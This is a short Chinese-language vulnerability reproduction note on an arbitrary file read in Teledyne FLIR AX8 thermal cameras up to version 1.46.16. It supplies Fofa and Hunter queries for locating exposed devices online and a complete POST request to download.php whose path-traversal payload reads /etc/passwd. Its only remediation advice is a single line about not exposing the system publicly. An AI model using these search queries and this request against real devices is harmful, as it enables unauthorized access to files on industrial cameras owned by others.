FLIR AX8 download.php 任意文件读取复现

0x01 产品描述：

        FLIR-AX8是美国菲力尔公司（Teledyne FLIR）旗下的一款工业红外热像仪AX8，英文名为Teledyne FLIR AX8 thermal sensor cameras。菲力尔公司专注于设计、开发、生产、营销和推广用于增强态势感知力的专业技术，通过热成像、可见光成像、视频分析、测量和诊断以及先进的威胁检测系统，将创新的传感解决方案带入日常生活中，广泛服务于政府与国防、工业和商业市场。

0x02 漏洞描述：

         Teledyne FLIR AX8 thermal sensor cameras 1.46.16及之前的版本存在任意文件读取漏洞，该漏洞源于攻击者可以通过download.php中的file没有做参数校验导致任意文件读取。

0x03 影响版本：

FLIR AX8 thermal sensor cameras <= 1.46.16

0x04 搜索语句：

Fofa:app="FLIR-FLIR-AX8"

Hunter:web.icon=="f4370ff0b4763e18159cd7cdf36a4542"

0x05 漏洞复现：

POST /download.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ****
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

file=../../../etc/passwd

 

0x06 修复建议：

如非必要 请勿将系统在公网部署